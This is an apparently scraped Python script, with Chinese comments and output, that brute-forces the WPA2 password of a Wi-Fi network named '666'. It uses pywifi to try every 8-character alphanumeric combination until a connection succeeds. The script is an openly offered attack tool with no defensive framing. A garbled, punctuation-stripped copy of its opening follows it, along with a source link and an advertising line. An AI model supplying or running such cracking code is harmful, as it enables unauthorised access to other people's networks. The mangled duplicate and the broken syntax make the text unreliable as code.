import itertools import datetime import pywifi from pywifi import const import time

测试连接,返回链接结果

def wifiConnect(pwd): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect()

wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
    profile = pywifi.Profile()
    profile.ssid = "666"
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = pwd
    ifaces.remove_all_network_profiles()
    tep_profile = ifaces.add_network_profile(profile)
    ifaces.connect(tep_profile)
    time.sleep(0.5)
    return ifaces.status() == const.IFACE_CONNECTED

生成密码列表

def generate_passwords(words, length): for password in itertools.product(words, repeat=length): yield ''.join(password)

def readPassword(): print("开始破解:") words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' length = 8

passwords = generate_passwords(words, length)

for password in passwords:
    if wifiConnect(password):
        print("wifi密码为 ", password)
        break
    else:
        print("密码破解中....密码校对: ", password)

start = datetime.datetime.now() readPassword() end = datetime.datetime.now() print("破解WIFI密码一共用了:{}秒".format(end - start)

import itertoolsimport datetimeimport pywififrom pywifi import constimport time# 测试连接返回链接结果def wifiConnectpwd wifi = pywifiPyWiFi ifaces = wifiinterfaces0 ifacesdisconnect wifistatus = ifa

原文地址: https://www.cveoy.top/t/topic/iELK 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录